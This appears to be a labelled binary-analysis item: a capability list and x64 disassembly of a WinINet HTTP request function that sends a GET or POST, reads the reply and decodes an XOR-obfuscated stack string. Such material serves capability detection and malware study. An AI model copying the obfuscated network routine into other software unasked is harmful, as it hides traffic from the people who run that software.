Function at 0x4062b0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x488
mov rbx, qword [rsp + 0x4f8]
mov rdi, rcx
mov r14, rdx
mov rbp, r8
mov byte [rsp + 0x70], 0
mov rcx, qword [rsp + 0x4f0]
lea rsi, [rsp + 0x60]
mov r13, r9
mov qword [rsp + 0x68], 0
lea rax, [rsi + 0x10]
lea rdx, str.POST
mov qword [rsp + 0x60], rax
call fcn.0042f950
test eax, eax
jne 0x406650
mov eax, dword [rbx + 8]
mov r8d, 0x7a
xor ecx, ecx
mov dword [rsp + 0xb0], 0xc3c1cbc0
mov r15, qword [rbx]
mov dword [rsp + 0x4c], eax
movabs rax, 0x153a727a00000031
mov qword [rsp + 0x80], rax
movabs rax, 0xfbd5ad0b10180815
mov qword [rsp + 0x88], rax
movabs rax, 0xe6f9f8e6a6bfe1f3
mov qword [rsp + 0x90], rax
movabs rax, 0xbdffffe6faecefe2
mov qword [rsp + 0x98], rax
movabs rax, 0xf5ffb5e0e1e2b9eb
mov qword [rsp + 0xa0], rax
movabs rax, 0xccc4ccedebb0f1e9
mov qword [rsp + 0xa8], rax
mov eax, 0xffffa8c3
mov word [rsp + 0xb4], ax
xor eax, eax
jmp 0x4063bb
mov ecx, eax
movzx r8d, byte [rsp + rcx + 0x84]
lea edx, [rax + 0x77]
add eax, 1
xor edx, r8d
mov byte [rsp + rcx + 0x84], dl
mov edx, dword [rsp + 0x80]
cmp eax, edx
jb 0x4063b0
lea rbx, [rsp + 0x80]
mov byte [rsp + rdx + 0x84], 0
lea rcx, [rbx + 4]
mov r8, rcx
mov edx, dword [r8]
add r8, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x4063ed
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r8 + 2]
cmove r8, rdx
mov edx, eax
add dl, al
movabs rax, 0x7fffffffffffffff
sbb r8, 3
sub rax, qword [r13 + 8]
sub r8, rcx
cmp r8, rax
ja 0x4066bb
lea rdx, [rbx + 4]
mov rcx, r13
call fcn.00498cf0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.InetURL_1.0
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
mov r12, rax
je 0x406601
lea r9, [0x004c93cb]
mov dword [rsp + 0x30], 0
mov rcx, rax
mov r8d, 0x50
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r9
mov rdx, qword [r14]
call qword [sym.imp.WININET.dll_InternetConnectA]
test rax, rax
mov r14, rax
je 0x406640
mov rax, qword [rsp + 0x4f0]
xor r9d, r9d
mov rcx, r14
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8, qword [rbp]
mov rdx, qword [rax]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
test rax, rax
mov rbp, rax
je 0x4065f0
mov rcx, qword [rsp + 0x4f0]
lea rdx, str.POST
call fcn.0042f950
test eax, eax
je 0x406660
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [r13 + 8]
mov rcx, rbp
mov rdx, qword [r13]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x406684
lea rbx, [rsp + 0x80]
movabs r15, 0x7fffffffffffffff
lea r13, [rsp + 0x5c]
jmp 0x406586
mov r8d, dword [rsp + 0x5c]
test r8d, r8d
je 0x40659f
mov rax, r15
sub rax, qword [rsp + 0x68]
cmp r8, rax
ja 0x4066af
mov rdx, rbx
mov rcx, rsi
call fcn.00498cf0
mov r9, r13
mov r8d, 0x400
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x406560
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbp
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rbx
mov rcx, r14
call rbx
mov rcx, r12
call rbx
lea rax, [rdi + 0x10]
add rsi, 0x10
mov qword [rdi], rax
mov rax, qword [rsp + 0x60]
cmp rax, rsi
je 0x4066a0
mov qword [rdi], rax
mov rax, qword [rsp + 0x70]
mov qword [rdi + 0x10], rax
mov rax, qword [rsp + 0x68]
mov qword [rdi + 8], rax
jmp 0x406623
mov rcx, r14
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rbx
mov rcx, r12
call rbx
lea rdx, [0x004c93c8]
mov rcx, rdi
call fcn.00406270
mov rcx, qword [rsp + 0x60]
add rsi, 0x10
cmp rcx, rsi
je 0x406623
call fcn.004c3fe0
mov rax, rdi
add rsp, 0x488
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x406601
xor r15d, r15d
jmp 0x406448
mov eax, dword [rsp + 0x4c]
mov r9, r15
mov rcx, rbp
mov dword [rsp + 0x20], eax
mov r8d, dword [r13 + 8]
mov rdx, qword [r13]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x40653e
mov rcx, rbp
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rbx
mov rcx, r14
call rbx
jmp 0x4065fc
movdqa xmm0, xmmword [rsp + 0x70]
movups xmmword [rdi + 0x10], xmm0
jmp 0x4065e0
lea rcx, [0x004c93a7]
call fcn.004bcef0
lea rcx, [0x004c93a7]
call fcn.004bcef0
mov rcx, qword [rsp + 0x60]
add rsi, 0x10
mov rbx, rax
cmp rcx, rsi
je 0x4066dd
call fcn.004c3fe0
mov rcx, rbx
call fcn.00413690
nop
nop word cs:[rax + rax]